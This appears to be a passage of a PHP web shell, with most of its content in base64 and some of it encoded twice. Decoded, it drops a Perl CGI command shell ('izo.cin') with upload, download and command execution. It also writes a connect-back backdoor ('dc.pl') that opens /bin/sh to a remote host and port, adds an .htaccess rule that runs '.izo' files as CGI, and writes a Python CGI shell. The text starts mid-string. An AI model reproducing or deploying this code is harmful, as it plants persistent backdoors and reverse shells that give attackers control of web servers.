ZbVVnYzJWdWRDNEtJeTB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExRcHpkV0lnVTJWdVpFWnBiR1ZVYjBKeWIzZHpaWElLZXdvSmJHOWpZV3dvSkZObGJtUkdhV3hsS1NBOUlFQmZPd29KYVdZb2IzQmxiaWhUUlU1RVJrbE1SU3dnSkZObGJtUkdhV3hsS1NrZ0l5Qm1hV3hsSUc5d1pXNWxaQ0JtYjNJZ2NtVmhaR2x1WndvSmV3b0pDV2xtS0NSWGFXNU9WQ2tLQ1FsN0Nna0pDV0pwYm0xdlpHVW9VMFZPUkVaSlRFVXBPd29KQ1FsaWFXNXRiMlJsS0ZOVVJFOVZWQ2s3Q2drSmZRb0pDU1JHYVd4bFUybDZaU0E5SUNoemRHRjBLQ1JUWlc1a1JtbHNaU2twV3pkZE93b0pDU2drUm1sc1pXNWhiV1VnUFNBa1UyVnVaRVpwYkdVcElEMStJQ0J0SVNoYlhpOWVYRnhkS2lra0lUc0tDUWx3Y21sdWRDQWlRMjl1ZEdWdWRDMVVlWEJsT2lCaGNIQnNhV05oZEdsdmJpOTRMWFZ1YTI1dmQyNWNiaUk3Q2drSmNISnBiblFnSWtOdmJuUmxiblF0VEdWdVozUm9PaUFrUm1sc1pWTnBlbVZjYmlJN0Nna0pjSEpwYm5RZ0lrTnZiblJsYm5RdFJHbHpjRzl6YVhScGIyNDZJR0YwZEdGamFHMWxiblE3SUdacGJHVnVZVzFsUFNReFhHNWNiaUk3Q2drSmNISnBiblFnZDJocGJHVW9QRk5GVGtSR1NVeEZQaWs3Q2drSlkyeHZjMlVvVTBWT1JFWkpURVVwT3dvSmZRb0paV3h6WlNBaklHWmhhV3hsWkNCMGJ5QnZjR1Z1SUdacGJHVUtDWHNLQ1FrbVVISnBiblJRWVdkbFNHVmhaR1Z5S0NKbUlpazdDZ2tKY0hKcGJuUWdJa1poYVd4bFpDQjBieUJrYjNkdWJHOWhaQ0FrVTJWdVpFWnBiR1U2SUNRaElqc0tDUWttVUhKcGJuUkdhV3hsUkc5M2JteHZZV1JHYjNKdE93b0tDUWttVUhKcGJuUlFZV2RsUm05dmRHVnlPd29KZlFwOUNnb0tJeTB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExRb2pJRlJvYVhNZ1puVnVZM1JwYjI0Z2FYTWdZMkZzYkdWa0lIZG9aVzRnZEdobElIVnpaWElnWkc5M2JteHZZV1J6SUdFZ1ptbHNaUzRnU1hRZ1pHbHpjR3hoZVhNZ1lTQnRaWE56WVdkbENpTWdkRzhnZEdobElIVnpaWElnWVc1a0lIQnliM1pwWkdWeklHRWdiR2x1YXlCMGFISnZkV2RvSUhkb2FXTm9JSFJvWlNCbWFXeGxJR05oYmlCaVpTQmtiM2R1Ykc5aFpHVmtMZ29qSUZSb2FYTWdablZ1WTNScGIyNGdhWE1nWVd4emJ5QmpZV3hzWldRZ2QyaGxiaUIwYUdVZ2RYTmxjaUJqYkdsamEzTWdiMjRnZEdoaGRDQnNhVzVyTGlCSmJpQjBhR2x6SUdOaGMyVXNDaU1nZEdobElHWnBiR1VnYVhNZ2NtVmhaQ0JoYm1RZ2MyVnVkQ0IwYnlCMGFHVWdZbkp2ZDNObGNpNEtJeTB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExRcHpkV0lnUW1WbmFXNUViM2R1Ykc5aFpBcDdDZ2tqSUdkbGRDQm1kV3hzZVNCeGRXRnNhV1pwWldRZ2NHRjBhQ0J2WmlCMGFHVWdabWxzWlNCMGJ5QmlaU0JrYjNkdWJHOWhaR1ZrQ2dscFppZ29KRmRwYms1VUlDWWdLQ1JVY21GdWMyWmxja1pwYkdVZ1BYNGdiUzllWEZ4OFhpNDZMeWtwSUh3S0NRa29JU1JYYVc1T1ZDQW1JQ2drVkhKaGJuTm1aWEpHYVd4bElEMStJRzB2WGx3dkx5a3BLU0FqSUhCaGRHZ2dhWE1nWVdKemIyeDFkR1VLQ1hzS0NRa2tWR0Z5WjJWMFJtbHNaU0E5SUNSVWNtRnVjMlpsY2tacGJHVTdDZ2w5Q2dsbGJITmxJQ01nY0dGMGFDQnBjeUJ5Wld4aGRHbDJaUW9KZXdvSkNXTm9iM0FvSkZSaGNtZGxkRVpwYkdVcElHbG1LQ1JVWVhKblpYUkdhV3hsSUQwZ0pFTjFjbkpsYm5SRWFYSXBJRDErSUcwdlcxeGNYQzlkSkM4N0Nna0pKRlJoY21kbGRFWnBiR1VnTGowZ0pGQmhkR2hUWlhBdUpGUnlZVzV6Wm1WeVJtbHNaVHNLQ1gwS0NnbHBaaWdrVDNCMGFXOXVjeUJsY1NBaVoyOGlLU0FqSUhkbElHaGhkbVVnZEc4Z2MyVnVaQ0IwYUdVZ1ptbHNaUW9KZXdvSkNTWlRaVzVrUm1sc1pWUnZRbkp2ZDNObGNpZ2tWR0Z5WjJWMFJtbHNaU2s3Q2dsOUNnbGxiSE5sSUNNZ2QyVWdhR0YyWlNCMGJ5QnpaVzVrSUc5dWJIa2dkR2hsSUd4cGJtc2djR0ZuWlFvSmV3b0pDU1pRY21sdWRFUnZkMjVzYjJGa1RHbHVhMUJoWjJVb0pGUmhjbWRsZEVacGJHVXBPd29KZlFwOUNnb2pMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdENpTWdWR2hwY3lCbWRXNWpkR2x2YmlCcGN5QmpZV3hzWldRZ2QyaGxiaUIwYUdVZ2RYTmxjaUIzWVc1MGN5QjBieUIxY0d4dllXUWdZU0JtYVd4bExpQkpaaUIwYUdVS0l5Qm1hV3hsSUdseklHNXZkQ0J6Y0dWamFXWnBaV1FzSUdsMElHUnBjM0JzWVhseklHRWdabTl5YlNCaGJHeHZkMmx1WnlCMGFHVWdkWE5sY2lCMGJ5QnpjR1ZqYVdaNUlHRUtJeUJtYVd4bExDQnZkR2hsY25kcGMyVWdhWFFnYzNSaGNuUnpJSFJvWlNCMWNHeHZZV1FnY0hKdlkyVnpjeTRLSXkwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUXB6ZFdJZ1ZYQnNiMkZrUm1sc1pRcDdDZ2tqSUdsbUlHNXZJR1pwYkdVZ2FYTWdjM0JsWTJsbWFXVmtMQ0J3Y21sdWRDQjBhR1VnZFhCc2IyRmtJR1p2Y20wZ1lXZGhhVzRLQ1dsbUtDUlVjbUZ1YzJabGNrWnBiR1VnWlhFZ0lpSXBDZ2w3Q2drSkpsQnlhVzUwVUdGblpVaGxZV1JsY2lnaVppSXBPd29KQ1NaUWNtbHVkRVpwYkdWVmNHeHZZV1JHYjNKdE93b0pDU1pRY21sdWRGQmhaMlZHYjI5MFpYSTdDZ2tKY21WMGRYSnVPd29KZlFvSkpsQnlhVzUwVUdGblpVaGxZV1JsY2lnaVl5SXBPd29LQ1NNZ2MzUmhjblFnZEdobElIVndiRzloWkdsdVp5QndjbTlqWlhOekNnbHdjbWx1ZENBaVZYQnNiMkZrYVc1bklDUlVjbUZ1YzJabGNrWnBiR1VnZEc4Z0pFTjFjbkpsYm5SRWFYSXVMaTQ4WW5JK0lqc0tDZ2tqSUdkbGRDQjBhR1VnWm5Wc2JHeDVJSEYxWVd4cFptbGxaQ0J3WVhSb2JtRnRaU0J2WmlCMGFHVWdabWxzWlNCMGJ5QmlaU0JqY21WaGRHVmtDZ2xqYUc5d0tDUlVZWEpuWlhST1lXMWxLU0JwWmlBb0pGUmhjbWRsZEU1aGJXVWdQU0FrUTNWeWNtVnVkRVJwY2lrZ1BYNGdiUzliWEZ4Y0wxMGtMenNLQ1NSVWNtRnVjMlpsY2tacGJHVWdQWDRnYlNFb1cxNHZYbHhjWFNvcEpDRTdDZ2trVkdGeVoyVjBUbUZ0WlNBdVBTQWtVR0YwYUZObGNDNGtNVHNLQ2dra1ZHRnlaMlYwUm1sc1pWTnBlbVVnUFNCc1pXNW5kR2dvSkdsdWV5ZG1hV3hsWkdGMFlTZDlLVHNLQ1NNZ2FXWWdkR2hsSUdacGJHVWdaWGhwYzNSeklHRnVaQ0IzWlNCaGNtVWdibTkwSUhOMWNIQnZjMlZrSUhSdklHOTJaWEozY21sMFpTQnBkQW9KYVdZb0xXVWdKRlJoY21kbGRFNWhiV1VnSmlZZ0pFOXdkR2x2Ym5NZ2JtVWdJbTkyWlhKM2NtbDBaU0lwQ2dsN0Nna0pjSEpwYm5RZ0lrWmhhV3hsWkRvZ1JHVnpkR2x1WVhScGIyNGdabWxzWlNCaGJISmxZV1I1SUdWNGFYTjBjeTQ4WW5JK0lqc0tDWDBLQ1dWc2MyVWdJeUJtYVd4bElHbHpJRzV2ZENCd2NtVnpaVzUwQ2dsN0Nna0phV1lvYjNCbGJpaFZVRXhQUVVSR1NVeEZMQ0FpUGlSVVlYSm5aWFJPWVcxbElpa3BDZ2tKZXdvSkNRbGlhVzV0YjJSbEtGVlFURTlCUkVaSlRFVXBJR2xtSUNSWGFXNU9WRHNLQ1FrSmNISnBiblFnVlZCTVQwRkVSa2xNUlNBa2FXNTdKMlpwYkdWa1lYUmhKMzA3Q2drSkNXTnNiM05sS0ZWUVRFOUJSRVpKVEVVcE93b0pDUWx3Y21sdWRDQWlWSEpoYm5ObVpYSmxaQ0FrVkdGeVoyVjBSbWxzWlZOcGVtVWdRbmwwWlhNdVBHSnlQaUk3Q2drSkNYQnlhVzUwSUNKR2FXeGxJRkJoZEdnNklDUlVZWEpuWlhST1lXMWxQR0p5UGlJN0Nna0pmUW9KQ1dWc2MyVUtDUWw3Q2drSkNYQnlhVzUwSUNKR1lXbHNaV1E2SUNRaFBHSnlQaUk3Q2drSmZRb0pmUW9KY0hKcGJuUWdJaUk3Q2drbVVISnBiblJEYjIxdFlXNWtUR2x1WlVsdWNIVjBSbTl5YlRzS0Nna21VSEpwYm5SUVlXZGxSbTl2ZEdWeU93cDlDZ29qTFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRDaU1nVkdocGN5Qm1kVzVqZEdsdmJpQnBjeUJqWVd4c1pXUWdkMmhsYmlCMGFHVWdkWE5sY2lCM1lXNTBjeUIwYnlCa2IzZHViRzloWkNCaElHWnBiR1V1SUVsbUlIUm9aUW9qSUdacGJHVnVZVzFsSUdseklHNXZkQ0J6Y0dWamFXWnBaV1FzSUdsMElHUnBjM0JzWVhseklHRWdabTl5YlNCaGJHeHZkMmx1WnlCMGFHVWdkWE5sY2lCMGJ5QnpjR1ZqYVdaNUlHRUtJeUJtYVd4bExDQnZkR2hsY25kcGMyVWdhWFFnWkdsemNHeGhlWE1nWVNCdFpYTnpZV2RsSUhSdklIUm9aU0IxYzJWeUlHRnVaQ0J3Y205MmFXUmxjeUJoSUd4cGJtc0tJeUIwYUhKdmRXZG9JQ0IzYUdsamFDQjBhR1VnWm1sc1pTQmpZVzRnWW1VZ1pHOTNibXh2WVdSbFpDNEtJeTB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExRcHpkV0lnUkc5M2JteHZZV1JHYVd4bENuc0tDU01nYVdZZ2JtOGdabWxzWlNCcGN5QnpjR1ZqYVdacFpXUXNJSEJ5YVc1MElIUm9aU0JrYjNkdWJHOWhaQ0JtYjNKdElHRm5ZV2x1Q2dscFppZ2tWSEpoYm5ObVpYSkdhV3hsSUdWeElDSWlLUW9KZXdvSkNTWlFjbWx1ZEZCaFoyVklaV0ZrWlhJb0ltWWlLVHNLQ1FrbVVISnBiblJHYVd4bFJHOTNibXh2WVdSR2IzSnRPd29KQ1NaUWNtbHVkRkJoWjJWR2IyOTBaWEk3Q2drSmNtVjBkWEp1T3dvSmZRb0pDZ2tqSUdkbGRDQm1kV3hzZVNCeGRXRnNhV1pwWldRZ2NHRjBhQ0J2WmlCMGFHVWdabWxzWlNCMGJ5QmlaU0JrYjNkdWJHOWhaR1ZrQ2dscFppZ29KRmRwYms1VUlDWWdLQ1JVY21GdWMyWmxja1pwYkdVZ1BYNGdiUzllWEZ4OFhpNDZMeWtwSUh3S0NRa29JU1JYYVc1T1ZDQW1JQ2drVkhKaGJuTm1aWEpHYVd4bElEMStJRzB2WGx3dkx5a3BLU0FqSUhCaGRHZ2dhWE1nWVdKemIyeDFkR1VLQ1hzS0NRa2tWR0Z5WjJWMFJtbHNaU0E5SUNSVWNtRnVjMlpsY2tacGJHVTdDZ2w5Q2dsbGJITmxJQ01nY0dGMGFDQnBjeUJ5Wld4aGRHbDJaUW9KZXdvSkNXTm9iM0FvSkZSaGNtZGxkRVpwYkdVcElHbG1LQ1JVWVhKblpYUkdhV3hsSUQwZ0pFTjFjbkpsYm5SRWFYSXBJRDErSUcwdlcxeGNYQzlkSkM4N0Nna0pKRlJoY21kbGRFWnBiR1VnTGowZ0pGQmhkR2hUWlhBdUpGUnlZVzV6Wm1WeVJtbHNaVHNLQ1gwS0NnbHBaaWdrVDNCMGFXOXVjeUJsY1NBaVoyOGlLU0FqSUhkbElHaGhkbVVnZEc4Z2MyVnVaQ0IwYUdVZ1ptbHNaUW9KZXdvSkNTWlRaVzVrUm1sc1pWUnZRbkp2ZDNObGNpZ2tWR0Z5WjJWMFJtbHNaU2s3Q2dsOUNnbGxiSE5sSUNNZ2QyVWdhR0YyWlNCMGJ5QnpaVzVrSUc5dWJIa2dkR2hsSUd4cGJtc2djR0ZuWlFvSmV3b0pDU1pRY21sdWRFUnZkMjVzYjJGa1RHbHVhMUJoWjJVb0pGUmhjbWRsZEVacGJHVXBPd29KZlFwOUNnb2pMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdENpTWdUV0ZwYmlCUWNtOW5jbUZ0SUMwZ1JYaGxZM1YwYVc5dUlGTjBZWEowY3lCSVpYSmxDaU10TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMEtKbEpsWVdSUVlYSnpaVHNLSmtkbGRFTnZiMnRwWlhNN0Nnb2tVMk55YVhCMFRHOWpZWFJwYjI0Z1BTQWtSVTVXZXlkVFExSkpVRlJmVGtGTlJTZDlPd29rVTJWeWRtVnlUbUZ0WlNBOUlDUkZUbFo3SjFORlVsWkZVbDlPUVUxRkozMDdDaVJNYjJkcGJsQmhjM04zYjNKa0lEMGdKR2x1ZXlkd0ozMDdDaVJTZFc1RGIyMXRZVzVrSUQwZ0pHbHVleWRqSjMwN0NpUlVjbUZ1YzJabGNrWnBiR1VnUFNBa2FXNTdKMlluZlRzS0pFOXdkR2x2Ym5NZ1BTQWthVzU3SjI4bmZUc0tDaVJCWTNScGIyNGdQU0FrYVc1N0oyRW5mVHNLSkVGamRHbHZiaUE5SUNKc2IyZHBiaUlnYVdZb0pFRmpkR2x2YmlCbGNTQWlJaWs3SUNNZ2JtOGdZV04wYVc5dUlITndaV05wWm1sbFpDd2dkWE5sSUdSbFptRjFiSFFLQ2lNZ1oyVjBJSFJvWlNCa2FYSmxZM1J2Y25rZ2FXNGdkMmhwWTJnZ2RHaGxJR052YlcxaGJtUnpJSGRwYkd3Z1ltVWdaWGhsWTNWMFpXUUtKRU4xY25KbGJuUkVhWElnUFNBa2FXNTdKMlFuZlRzS1kyaHZjQ2drUTNWeWNtVnVkRVJwY2lBOUlHQWtRMjFrVUhka1lDa2dhV1lvSkVOMWNuSmxiblJFYVhJZ1pYRWdJaUlwT3dvS0pFeHZaMmRsWkVsdUlEMGdKRU52YjJ0cFpYTjdKMU5CVmtWRVVGZEVKMzBnWlhFZ0pGQmhjM04zYjNKa093b0thV1lvSkVGamRHbHZiaUJsY1NBaWJHOW5hVzRpSUh4OElDRWtURzluWjJWa1NXNHBJQ01nZFhObGNpQnVaV1ZrY3k5b1lYTWdkRzhnYkc5bmFXNEtld29KSmxCbGNtWnZjbTFNYjJkcGJqc0tDbjBLWld4emFXWW9KRUZqZEdsdmJpQmxjU0FpWTI5dGJXRnVaQ0lwSUNNZ2RYTmxjaUIzWVc1MGN5QjBieUJ5ZFc0Z1lTQmpiMjF0WVc1a0Nuc0tDU1pGZUdWamRYUmxRMjl0YldGdVpEc0tmUXBsYkhOcFppZ2tRV04wYVc5dUlHVnhJQ0oxY0d4dllXUWlLU0FqSUhWelpYSWdkMkZ1ZEhNZ2RHOGdkWEJzYjJGa0lHRWdabWxzWlFwN0Nna21WWEJzYjJGa1JtbHNaVHNLZlFwbGJITnBaaWdrUVdOMGFXOXVJR1Z4SUNKa2IzZHViRzloWkNJcElDTWdkWE5sY2lCM1lXNTBjeUIwYnlCa2IzZHViRzloWkNCaElHWnBiR1VLZXdvSkprUnZkMjVzYjJGa1JtbHNaVHNLZlFwbGJITnBaaWdrUVdOMGFXOXVJR1Z4SUNKc2IyZHZkWFFpS1NBaklIVnpaWElnZDJGdWRITWdkRzhnYkc5bmIzVjBDbnNLQ1NaUVpYSm1iM0p0VEc5bmIzVjBPd3A5JzsKCiRmaWxlID0gZm9wZW4oIml6by5jaW4iICwidysiKTsKJHdyaXRlID0gZndyaXRlICgkZmlsZSAsYmFzZTY0X2RlY29kZSgkY2dpc2hlbGxpem9jaW4pKTsKZmNsb3NlKCRmaWxlKTsKICAgIGNobW9kKCJpem8uY2luIiwwNzU1KTsKJG5ldGNhdHNoZWxsID0gJ0l5RXZkWE55TDJKcGJpOXdaWEpzRFFvZ0lDQWdJQ0IxYzJVZ1UyOWphMlYwT3cwS0lDQWdJQ0FnY0hKcGJuUWdJa1JoZEdFZ1EyaGgKTUhNZ1EyOXVibVZqZENCQ1lXTnJJRUpoWTJ0a2IyOXlYRzVjYmlJN0RRb2dJQ0FnSUNCcFppQW9JU1JCVWtkV1d6QmRLU0I3RFFvZwpJQ0FnSUNBZ0lIQnlhVzUwWmlBaVZYTmhaMlU2SUNRd0lGdEliM04wWFNBOFVHOXlkRDVjYmlJN0RRb2dJQ0FnSUNBZ0lHVjRhWFFvCk1TazdEUW9nSUNBZ0lDQjlEUW9nSUNBZ0lDQndjbWx1ZENBaVd5cGRJRVIxYlhCcGJtY2dRWEpuZFcxbGJuUnpYRzRpT3cwS0lDQWcKSUNBZ0pHaHZjM1FnUFNBa1FWSkhWbHN3WFRzTkNpQWdJQ0FnSUNSd2IzSjBJRDBnT0RBN0RRb2dJQ0FnSUNCcFppQW9KRUZTUjFaYgpNVjBwSUhzTkNpQWdJQ0FnSUNBZ0pIQnZjblFnUFNBa1FWSkhWbHN4WFRzTkNpQWdJQ0FnSUgwTkNpQWdJQ0FnSUhCeWFXNTBJQ0piCktsMGdRMjl1Ym1WamRHbHVaeTR1TGx4dUlqc05DaUFnSUNBZ0lDUndjbTkwYnlBOUlHZGxkSEJ5YjNSdllubHVZVzFsS0NkMFkzQW4KS1NCOGZDQmthV1VvSWxWdWEyNXZkMjRnVUhKdmRHOWpiMnhjYmlJcE93MEtJQ0FnSUNBZ2MyOWphMlYwS0ZORlVsWkZVaXdnVUVaZgpTVTVGVkN3Z1UwOURTMTlUVkZKRlFVMHNJQ1J3Y205MGJ5a2dmSHdnWkdsbElDZ2lVMjlqYTJWMElFVnljbTl5WEc0aUtUc05DaUFnCklDQWdJRzE1SUNSMFlYSm5aWFFnUFNCcGJtVjBYMkYwYjI0b0pHaHZjM1FwT3cwS0lDQWdJQ0FnYVdZZ0tDRmpiMjV1WldOMEtGTkYKVWxaRlVpd2djR0ZqYXlBaVUyNUJOSGc0SWl3Z01pd2dKSEJ2Y25Rc0lDUjBZWEpuWlhRcEtTQjdEUW9nSUNBZ0lDQWdJR1JwWlNnaQpWVzVoWW14bElIUnZJRU52Ym01bFkzUmNiaUlwT3cwS0lDQWdJQ0FnZlEwS0lDQWdJQ0FnY0hKcGJuUWdJbHNxWFNCVGNHRjNibWx1Clp5QlRhR1ZzYkZ4dUlqc05DaUFnSUNBZ0lHbG1JQ2doWm05eWF5Z2dLU2tnZXcwS0lDQWdJQ0FnSUNCdmNHVnVLRk5VUkVsT0xDSSsKSmxORlVsWkZVaUlwT3cwS0lDQWdJQ0FnSUNCdmNHVnVLRk5VUkU5VlZDd2lQaVpUUlZKV1JWSWlLVHNOQ2lBZ0lDQWdJQ0FnYjNCbApiaWhUVkVSRlVsSXNJajRtVTBWU1ZrVlNJaWs3RFFvZ0lDQWdJQ0FnSUdWNFpXTWdleWN2WW1sdUwzTm9KMzBnSnkxaVlYTm9KeUF1CklDSmNNQ0lnZUNBME93MEtJQ0FnSUNBZ0lDQmxlR2wwS0RBcE93MEtJQ0FnSUNBZ2ZRMEtJQ0FnSUNBZ2NISnBiblFnSWxzcVhTQkUKWVhSaFkyaGxaRnh1WEc0aU93PT0nOwoKJGZpbGUgPSBmb3BlbigiZGMucGwiICwidysiKTsKJHdyaXRlID0gZndyaXRlICgkZmlsZSAsYmFzZTY0X2RlY29kZSgkbmV0Y2F0c2hlbGwpKTsKZmNsb3NlKCRmaWxlKTsKICAgIGNobW9kKCJkYy5wbCIsMDc1NSk7CmVjaG8gIjxpZnJhbWUgc3JjPWNnaXNoZWxsL2l6by5jaW4gd2lkdGg9MTAwJSBoZWlnaHQ9MTAwJSBmcmFtZWJvcmRlcj0wPjwvaWZyYW1lPiAiOwp9CmlmIChpc3NldCgkX1BPU1RbJ1N1Ym1pdDE0J10pKQp7CiAgICBta2RpcigncHl0aG9uJywgMDc1NSk7CiAgICBjaGRpcigncHl0aG9uJyk7CiAgICAgICAgJGtva2Rvc3lhID0gIi5odGFjY2VzcyI7CiAgICAgICAgJGRvc3lhX2FkaSA9ICIka29rZG9zeWEiOwogICAgICAgICRkb3N5YSA9IGZvcGVuICgkZG9zeWFfYWRpICwgJ3cnKSBvciBkaWUgKCJEb3N5YSBhw6fEsWxhbWFkxLEhIik7CiAgICAgICAgJG1ldGluID0gIkFkZEhhbmRsZXIgY2dpLXNjcmlwdCAuaXpvIjsgICAgCiAgICAgICAgZndyaXRlICggJGRvc3lhICwgJG1ldGluICkgOwogICAgICAgIGZjbG9zZSAoJGRvc3lhKTsKJHB5dGhvbnAgPSAnSXlFdmRYTnlMMkpwYmk5d2VYUm9iMjRLSXlBd055MHdOeTB3TkFvaklIWXhMakF1TUFvS0l5QmpaMmt0YzJobGJHd3VjSGtLSXlCQgpJSE5wYlhCc1pTQkRSMGtnZEdoaGRDQmxlR1ZqZFhSbGN5QmhjbUpwZEhKaGNua2djMmhsYkd3Z1kyOXRiV0Z1WkhNdUNnb0tJeUJECmIzQjVjbWxuYUhRZ1RXbGphR0ZsYkNCR2IyOXlaQW9qSUZsdmRTQmhjbVVnWm5KbFpTQjBieUJ0YjJScFpua3NJSFZ6WlNCaGJtUWcKY21Wc2FXTmxibk5sSUhSb2FYTWdZMjlrWlM0S0NpTWdUbThnZDJGeWNtRnVkSGtnWlhod2NtVnpjeUJ2Y2lCcGJYQnNhV1ZrSUdadgpjaUIwYUdVZ1lXTmpkWEpoWTNrc0lHWnBkRzVsYzNNZ2RHOGdjSFZ5Y0c5elpTQnZjaUJ2ZEdobGNuZHBjMlVnWm05eUlIUm9hWE1nClkyOWtaUzR1TGk0S0l5QlZjMlVnWVhRZ2VXOTFjaUJ2ZDI0Z2NtbHpheUFoSVNFS0NpTWdSUzF0WVdsc0lHMXBZMmhoWld3Z1FWUWcKWm05dmNtUWdSRTlVSUcxbElFUlBWQ0IxYXdvaklFMWhhVzUwWVdsdVpXUWdZWFFnZDNkM0xuWnZhV1J6Y0dGalpTNXZjbWN1ZFdzdgpZWFJzWVc1MGFXSnZkSE12Y0hsMGFHOXVkWFJwYkhNdWFIUnRiQW9LSWlJaUNrRWdjMmx0Y0d4bElFTkhTU0J6WTNKcGNIUWdkRzhnClpYaGxZM1YwWlNCemFHVnNiQ0JqYjIxdFlXNWtjeUIyYVdFZ1EwZEpMZ29pSWlJS0l5TWpJeU1qSXlNakl5TWpJeU1qSXlNakl5TWoKSXlNakl5TWpJeU1qSXlNakl5TWpJeU1qSXlNakl5TWpJeU1qSXlNakl5TWpJeU1qSXlNakl5TWpJd29qSUVsdGNHOXlkSE1LZEhKNQpPZ29nSUNBZ2FXMXdiM0owSUdObmFYUmlPeUJqWjJsMFlpNWxibUZpYkdVb0tRcGxlR05sY0hRNkNpQWdJQ0J3WVhOekNtbHRjRzl5CmRDQnplWE1zSUdObmFTd2diM01LYzNsekxuTjBaR1Z5Y2lBOUlITjVjeTV6ZEdSdmRYUUtabkp2YlNCMGFXMWxJR2x0Y0c5eWRDQnoKZEhKbWRHbHRaUXBwYlhCdmNuUWdkSEpoWTJWaVlXTnJDbVp5YjIwZ1UzUnlhVzVuU1U4Z2FXMXdiM0owSUZOMGNtbHVaMGxQQ21aeQpiMjBnZEhKaFkyVmlZV05ySUdsdGNHOXlkQ0J3Y21sdWRGOWxlR01LQ2lNakl5TWpJeU1qSXlNakl5TWpJeU1qSXlNakl5TWpJeU1qCkl5TWpJeU1qSXlNakl5TWpJeU1qSXlNakl5TWpJeU1qSXlNakl5TWpJeU1qSXlNakl5TUtJeUJqYjI1emRHRnVkSE1LQ21admJuUnMKYVc1bElEMGdKenhHVDA1VUlFTlBURTlTUFNNME1qUXlORElnYzNSNWJHVTlJbVp2Ym5RdFptRnRhV3g1T25ScGJXVnpPMlp2Ym5RdApjMmw2WlRveE1uQjBPeUkrSndwMlpYSnphVzl1YzNSeWFXNW5JRDBnSjFabGNuTnBiMjRnTVM0d0xqQWdOM1JvSUVwMWJIa2dNakF3Ck5DY0tDbWxtSUc5ekxtVnVkbWx5YjI0dWFHRnpYMnRsZVNnaVUwTlNTVkJVWDA1QlRVVWlLVG9LSUNBZ0lITmpjbWx3ZEc1aGJXVWcKUFNCdmN5NWxiblpwY205dVd5SlRRMUpKVUZSZlRrRk5SU0pkQ21Wc2MyVTZDaUFnSUNCelkzSnBjSFJ1WVcxbElEMGdJaUlLQ2sxRgpWRWhQUkNBOUlDY2lVRTlUVkNJbkNnb2pJeU1qSXlNakl5TWpJeU1qSXlNakl5TWpJeU1qSXlNakl5TWpJeU1qSXlNakl5TWpJeU1qCkl5TWpJeU1qSXlNakl5TWpJeU1qSXlNakl5TWpJeU1qQ2lNZ1VISnBkbUYwWlNCbWRXNWpkR2x2Ym5NZ1lXNWtJSFpoY21saFlteGwKY3dvS1pHVm1JR2RsZEdadmNtMG9kbUZzZFdWc2FYTjBMQ0IwYUdWbWIzSnRMQ0J1YjNSd2NtVnpaVzUwUFNjbktUb0tJQ0FnSUNJaQpJbFJvYVhNZ1puVnVZM1JwYjI0c0lHZHBkbVZ1SUdFZ1EwZEpJR1p2Y20wc0lHVjRkSEpoWTNSeklIUm9aU0JrWVhSaElHWnliMjBnCmFYUXNJR0poYzJWa0lHOXVDaUFnSUNCMllXeDFaV3hwYzNRZ2NHRnpjMlZrSUdsdUxpQkJibmtnYm05dUxYQnlaWE5sYm5RZ2RtRnMKZFdWeklHRnlaU0J6WlhRZ2RHOGdKeWNnTFNCaGJIUm9iM1ZuYUNCMGFHbHpJR05oYmlCaVpTQmphR0Z1WjJWa0xnb2dJQ0FnS0dVdQpaeTRnZEc4Z2NtVjBkWEp1SUU1dmJtVWdjMjhnZVc5MUlHTmhiaUIwWlhOMElHWnZjaUJ0YVhOemFXNW5JR3RsZVhkdmNtUnpJQzBnCmQyaGxjbVVnSnljZ2FYTWdZU0IyWVd4cFpDQmhibk4zWlhJZ1luVjBJSFJ2SUdoaGRtVWdkR2hsSUdacFpXeGtJRzFwYzNOcGJtY2cKYVhOdUozUXVLU0lpSWdvZ0lDQWdaR0YwWVNBOUlIdDlDaUFnSUNCbWIzSWdabWxsYkdRZ2FXNGdkbUZzZFdWc2FYTjBPZ29nSUNBZwpJQ0FnSUdsbUlHNXZkQ0IwYUdWbWIzSnRMbWhoYzE5clpYa29abWxsYkdRcE9nb2dJQ0FnSUNBZ0lDQWdJQ0JrWVhSaFcyWnBaV3hrClhTQTlJRzV2ZEhCeVpYTmxiblFLSUNBZ0lDQWdJQ0JsYkhObE9nb2dJQ0FnSUNBZ0lDQWdJQ0JwWmlBZ2RIbHdaU2gwYUdWbWIzSnQKVzJacFpXeGtYU2tnSVQwZ2RIbHdaU2hiWFNrNkNpQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNCa1lYUmhXMlpwWld4a1hTQTlJSFJvWldadgpjbTFiW